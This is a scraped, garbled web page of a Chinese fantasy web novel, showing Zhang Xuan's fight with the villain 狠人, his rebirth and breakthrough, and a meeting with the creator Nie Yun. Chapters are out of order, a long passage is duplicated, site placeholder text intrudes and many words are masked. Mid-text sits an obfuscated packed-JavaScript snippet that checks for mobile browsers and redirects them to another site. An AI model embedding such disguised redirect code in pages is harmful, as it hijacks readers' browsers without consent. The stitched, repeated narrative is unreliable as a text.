刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16811247|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第121章这京城的天,从今往后,怕是要不 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 